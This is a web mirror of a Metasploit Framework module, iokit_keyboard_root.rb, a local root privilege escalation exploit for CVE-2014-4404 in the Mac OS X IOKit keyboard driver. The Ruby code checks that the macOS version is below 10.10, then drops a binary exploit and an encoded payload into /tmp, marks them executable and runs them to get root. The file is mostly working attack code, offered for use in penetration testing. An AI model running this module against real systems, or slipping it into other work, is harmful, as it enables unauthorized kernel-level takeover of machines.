CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/osx/local/iokit_keyboard_root.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ManualRanking # Can cause kernel crash
8
9
include Msf::Post::File
10
include Msf::Post::OSX::Priv
11
include Msf::Exploit::EXE
12
include Msf::Exploit::FileDropper
13
14
def initialize(info = {})
15
super(update_info(info,
16
'Name' => 'Mac OS X IOKit Keyboard Driver Root Privilege Escalation',
17
'Description' => %q{
18
A heap overflow in IOHIKeyboardMapper::parseKeyMapping allows kernel memory
19
corruption in Mac OS X before 10.10. By abusing a bug in the IORegistry, kernel
20
pointers can also be leaked, allowing a full kASLR bypass.
21
22
Tested on Mavericks 10.9.5, and should work on previous versions.
23
24
The issue was patched silently in Yosemite.
25
},
26
'License' => MSF_LICENSE,
27
'Author' =>
28
[
29
'Ian Beer', # discovery, advisory, publication, and a most excellent blog post
30
'joev' # copy/paste monkey
31
],
32
'References' =>
33
[
34
[ 'CVE', '2014-4404' ],
35
[ 'URL', 'http://googleprojectzero.blogspot.com/2014/11/pwn4fun-spring-2014-safari-part-ii.html' ],
36
# Heap overflow:
37
[ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=40' ],
38
# kALSR defeat:
39
[ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=126' ]
40
],
41
'Platform' => 'osx',
42
'Arch' => ARCH_X64,
43
'SessionTypes' => [ 'shell', 'meterpreter' ],
44
'Targets' => [
45
[ 'Mac OS X 10.9.5 Mavericks x64 (Native Payload)', { } ]
46
],
47
'DefaultTarget' => 0,
48
'DisclosureDate' => '2014-09-24'
49
))
50
end
51
52
def check
53
if ver_lt(osx_ver, "10.10")
54
CheckCode::Appears
55
else
56
CheckCode::Safe
57
end
58
end
59
60
def exploit
61
if is_root?
62
fail_with Failure::BadConfig, 'Session already has root privileges'
63
end
64
65
if check != CheckCode::Appears
66
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
67
end
68
69
exploit_path = File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2014-4404')
70
binary_exploit = File.read(File.join(exploit_path, 'key_exploit'))
71
binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
72
exploit_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
73
payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
74
75
print_status("Writing exploit file as '#{exploit_file}'")
76
write_file(exploit_file, binary_exploit)
77
register_file_for_cleanup(exploit_file)
78
79
print_status("Writing payload file as '#{payload_file}'")
80
write_file(payload_file, binary_payload)
81
register_file_for_cleanup(payload_file)
82
83
print_status("Executing payload...")
84
cmd_exec("chmod +x #{exploit_file}")
85
cmd_exec("chmod +x #{payload_file}")
86
cmd_exec("#{exploit_file} #{payload_file}")
87
end
88
89
def osx_ver
90
cmd_exec("sw_vers -productVersion").to_s.strip
91
end
92
93
def ver_lt(a, b)
94
Rex::Version.new(a) < Rex::Version.new(b)
95
end
96
end
97
98